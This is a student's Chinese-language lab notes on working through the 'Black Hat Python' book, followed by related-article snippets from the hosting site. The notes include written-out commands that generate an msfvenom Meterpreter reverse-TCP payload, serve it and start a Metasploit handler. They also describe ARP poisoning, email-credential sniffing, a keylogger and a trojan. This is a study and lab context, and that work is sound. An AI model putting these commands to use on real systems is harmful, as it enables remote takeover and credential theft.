2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道
python代码见码云:20179204_gege
第2章 网络基础
- tcp客户端(tcpclient.py),可以看到百度返回的HTTP响应。
- udp客户端(udpclient.py)
首先先用nc监听一下9999端口,-u就是udp模式,哈哈发过去了,最后打印出了ip和端口,nc没发数据过来,可能就没收到数据。
现在就可以比较一下tcp和udp的区别了,最核心的是udp不用连接,因为是无状态的协议
发送和接受的函数也是有区别的,通过实验发现recv和recvfrom的参数是接收几个字符的意思。
- tcp服务器(tcpserver.py tcpclient1.py)
- 取代netcat (bhnet.py)
打开一个终端
./bhnet.py -l -p 9999 -c
打开新终端./bhnet.py -t localhost -p 9999
输入ctrl+d
创建一个tcp代理proxy (proxy.py)
设置浏览器代理127.0.0.1:80
sudo python ./proxy.py 127.0.0.1 80 www.baidu.com 80 True
打开浏览器
.
通过paramiko使用ssh (bh_sshcmd.py bh_sshRcmd.py bh_sshserver.py)
参考博客Python黑帽子——通过Paramiko使用SSHpip install paramiko
生成密钥 ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
添加用户 useradd -d /home/qing qing
passwd qing
赋予ssh权限 vi /etc/ssh/sshd_config,添加 AllowUsers:qing
测试、运行结果
python bh_sshcmd.py
python bh_sshserver.py 127.0.0.1 80
python bh_sshRcmd.py
可以在服务器端输入一条命令mkdir ddr新建一个ddr文件夹
ssh隧道 (rforward.py bh_sshserver.py)建议在终端同时输一下
不设置浏览器代理
终端1:python rforward.py 127.0.0.1 -p 8080 -r 127.0.0.1:80 --user gege --password
gege
终端2:python bh_sshserver.py 127.0.0.1 80
终端3:python bh_sshRcmd.py
刷新浏览器127.0.0.1:8080
第3章 网络:原始套接字和流量嗅探
- linux上的嗅探器 (sniffer.py)注意修改代码中的ip地址
- linux下测试解码ip层 (sniffer_ip_header_decode)注意修改代码中的ip地址
- 解码ICMP (sniffer_with_icmp.py)注意修改代码中的ip地址
type0 code0 说明Echo Reply——回显应答(Ping应答)
解码ICMP
注:回显请求与回显应答是两种icmp报文类型,类型号分别是8和0,这两种类型下都只有一种代码0。这两种icmp报文属查询报文,主要用于测试网络中另一台主机是否可达,向欲测试主机发送一份ICMP回显请求,并等待返回ICMP回显应答,如果能收到,表明该主机可达。
- 子网扫描器 (sniffer.py)注意修改代码中的ip地址和子网地址
第4章 网络:原始套接字和流量嗅探
- 简单嗅探器(mail_test.py)
- 窃取email认证(mail_sniffer)
需要用命令行模拟邮件登陆(当然我用的是错误的用户名和密码,所以下图是不能登录成功的,但已经说明抓取成功),这里以登陆网易的pop3服务器为例 telnet pop3.163.com 110
利用scapy进行arp缓存投毒(arptest.py)需要修改代码中两个ip地址
攻击机kali,目标机win2k。
kali上ping攻击机。
在win上输入命令ipconfig /all,arp -a检查arp缓存。
首先要开启对网关和目标ip地址的流量进行转发的功能:
echo 1 > /proc/sys/net/ipv4/ip_forward
处理pcap文件(pic_carver1.py)“人脸识别”
安装opencv: apt-get install python-opencv python-numpy python-scipy
wget http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml
第5章 web攻击
- 开源web应用安装(web_app_mapper.py)
web_app_mapper1.py是课本的代码 web_app_mapper2.py。这里作者应该是利用开源应用的本地文件目录信息去访问目标网站的对应目录,看看哪些目录是跟官方的一样的,举个例子:比如有没有install目录。
暴力破解目录和文件位置(content_bruter.py),其中字典文件all.txt
暴力破解html表格认证(joomla_killer.py)
这个要搭建apache服务器,单纯做不出。
第6章 扩展burp代理
- burp模糊测试(bhp_fuzzer.py)
打开burpsuite,environment 选择jar文件路径
extender——add——bup_fuzzer.py(课本97步骤)
- 在burp中利用bing服务(bhp_bing.py)课本105步骤
- 利用网站内容生成密码字典(bhp_wordlist.py)课本111步骤
第7章 基于GitHub的命令和控制
- 基于github通信的木马(git_trojan.py)失败。
第8章 windows下木马的常用功能(沙盒检测没做)
- 有趣的键盘记录(winxpattacker下运行,C:\Documents and Settings\Administrator文件夹下keylogger.py)
安装过程:
IDLE——run module
无论键盘输入什么,都会被记录下来。
截取屏幕快照(winxpattacker下运行,screenshotter.py)
截图保存在c:\WINDOWS\Temp\screenshot.bmp下。python方式的shellcode执行【kali下输入metasploit命令行,winxp下运行需要改代码,windows弹出计算器calc.exe】(shell_exec.py)
kali:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.43.62.77 LPORT=1234 -f raw -o win_backdoor.raw
base64 -i win_backdoor.raw > shellcode.bin
python -m SimpleHTTPServer
metasploit下:
use exploit/multi/handler
set LHOST 10.43.62.77
set LPORT 1234
exploit
winxppython运行
kaliexecute -f calc.exe,在win下查看结果:
第9章 玩转浏览器
- 基于浏览器的中间人攻击
- 利用IE的COM组件自动化技术窃取数据
本章只实现了创建一个简单快速的RSA公私钥生成脚本(keygen.py)
第10章 windows系统提权(代码插入没做)
- 利用WMI监视进程(process_monitor.py)
直接在cmd命令行下python运行,日志只显示在process_monitor_log.csv里了。
- windows系统的令牌权限(process_monitor1.py)
- 赢得竞争(file_monitor1.py)
第11章 自动化攻击取证(本章没成功)
抓取口令的哈希值
直接代码注入(code_inject.py)失败
2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道的更多相关文章
- 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道
Python黑帽子 黑客与渗透测试编程之道 <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...
- python黑帽子-黑客与渗透测试编程之道(源代码)
链接: https://pan.baidu.com/s/1i5BnB5V 密码: ak9t
- 《Python黑帽子:黑客与渗透测试编程之道》 Scapy:网络的掌控者
窃取email认证: 测试代码: #!/usr/bin/python #coding=utf-8 from scapy.all import * #数据包回调函数 def packet_callbac ...
- 《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器
基于浏览器的中间人攻击: #coding=utf-8 import win32com.client import time import urlparse import urllib data_rec ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Windows下木马的常用功能
有趣的键盘记录: 安装pyHook: http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2 ...
- 《Python黑帽子:黑客与渗透测试编程之道》 基于GitHub的命令和控制
GitHub账号设置: 这部分按书上来敲命令即可,当然首先要注册一个GitHub账号还有之前安装的GitHub API库(pip install github3.py),这里就只列一下命令吧: mkd ...
- 《Python黑帽子:黑客与渗透测试编程之道》 扩展Burp代理
下载jython,在Burpsuite的扩展中配置jython路径: Burp模糊测试: #!/usr/bin/python #coding=utf-8 # 导入三个类,其中IBurpExtender ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击
Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...
- 《Python黑帽子:黑客与渗透测试编程之道》 网络:原始套接字和流量嗅探
Windows和Linux上的包嗅探: #!/usr/bin/python import socket import os #监听的主机 host = "10.10.10.160" ...
随机推荐
- java基础面试题:如何把一段逗号分割的字符串转换成一个数组? String s = "a" +"b" + "c" + "d";生成几个对象?
package com.swift; public class Douhao_String_Test { public static void main(String[] args) { /* * 如 ...
- 使用eclipse导入web项目
第一步 第二步 第三步 第四步 最后就多了一个web项目
- 如何使用koa实现socket.io官网的例子
socket.io官网中使用express实现了一个最简单的IM即时聊天,今天我们使用koa来实现一下 ### 框架准备 确保你本地已经安装好了nodejs和npm,使用koa要求node版本> ...
- 数据结构-队列(Queue)
#include <stdio.h> #include <stdlib.h> #define LIST_INIT_SIZE 10 #define LISTINCREMENT 1 ...
- Ubuntu12.04下YouCompleteMe安装教程(部分)
1.通过源码编译安装VIM 开发中使用的是Ubuntu 12.04 LTS,通过sudo apt-get install vim安装的版本较低,不支持YCM,所以,用源码编译并安装最新的Vim. 卸载 ...
- 描述符应用 -- 让python变成一个强类型的语言
众所周知,python是一门弱类型的语言,变量可以随意赋值成任意类型,但是通过描述符,我们可以把数据变成强类型的. 我们为数据设置数据描述符,因为数据描述的优先级大于实例属性,所以在给数据赋值的时候会 ...
- Database returned an invalid datetime value. Are time zone definitions for your database installed?
在做文章归档的会后,打印结果时报了这个错误 ret = models.Article.objects.filter(user=user).annotate(month=TruncMonth('crea ...
- 格雷码Gray Code详解
格雷码简介 在一组数的编码中,若任意两个相邻的代码只有一位二进制数不同,则称这种编码为格雷码(Gray Code),另外由于最大数与最小数之间也仅一位数不同,即“首尾相连”,因此又称循环码或反射码.格 ...
- [USACO]玉米实验(单调队列)
Description 约翰决定培育新的玉米品种以提高奶牛的产奶效率.约翰所有的土地被分成 N ×N 块,其中第 r行第 c 列的玉米质量为 Ar,c.他打算找一块质量比较均匀的土地开始自己的实验.经 ...
- 从头开始学习数据库及ADO.NET之PostgreSql字段约束——竹子整理
约束数据表列执行的规则.这些是用来防止无效的数据被输入到数据库中..这确保数据库中的数据的准确性和可靠性. 约束可以是列级或表级.仅适用于表级约束被应用到整个表的列级约束.为列定义的数据类型,本身是一 ...





.






















































